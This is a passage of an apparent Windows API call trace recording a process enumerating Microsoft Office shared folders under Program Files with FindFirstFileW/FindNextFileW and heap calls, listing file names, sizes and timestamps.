cAlternateFileName="VISIO~1.EN-")) returned 1 [0074.839] GetProcessHeap () returned 0x550000 [0074.839] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0074.839] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684370 [0074.843] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.843] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.843] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1 [0074.844] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0 [0074.844] FindClose (in: hFindFile=0x2684370 | out: hFindFile=0x2684370) returned 1 [0074.844] GetProcessHeap () returned 0x550000 [0074.844] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0074.844] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIOR", cAlternateFileName="")) returned 1 [0074.844] GetProcessHeap () returned 0x550000 [0074.844] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0074.844] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684370 [0074.845] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.846] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.846] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1 [0074.846] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0 [0074.846] FindClose (in: hFindFile=0x2684370 | out: hFindFile=0x2684370) returned 1 [0074.846] GetProcessHeap () returned 0x550000 [0074.846] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0074.847] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 1 [0074.847] GetProcessHeap () returned 0x550000 [0074.847] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0074.847] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684370 [0074.849] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.849] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.849] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1 [0074.849] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0 [0074.849] FindClose (in: hFindFile=0x2684370 | out: hFindFile=0x2684370) returned 1 [0074.849] GetProcessHeap () returned 0x550000 [0074.850] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0074.850] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 0 [0074.850] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0074.850] GetProcessHeap () returned 0x550000 [0074.850] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0074.850] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0074.850] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0074.850] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1 [0074.851] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1 [0074.851] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1 [0074.851] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1 [0074.851] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0074.851] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1 [0074.852] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="USP10.DLL", cAlternateFileName="")) returned 1 [0074.852] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1 [0074.852] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1 [0074.852] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0 [0074.852] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0074.852] GetProcessHeap () returned 0x550000 [0074.852] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0074.852] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0074.853] GetProcessHeap () returned 0x550000 [0074.853] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0074.853] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0074.855] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.855] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0074.856] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1 [0074.856] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="OSPPOB~1.XRM")) returned 1 [0074.856] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1 [0074.856] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1 [0074.856] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1 [0074.857] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1 [0074.857] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1 [0074.857] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 0 [0074.857] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0074.860] GetProcessHeap () returned 0x550000 [0074.860] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0074.860] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 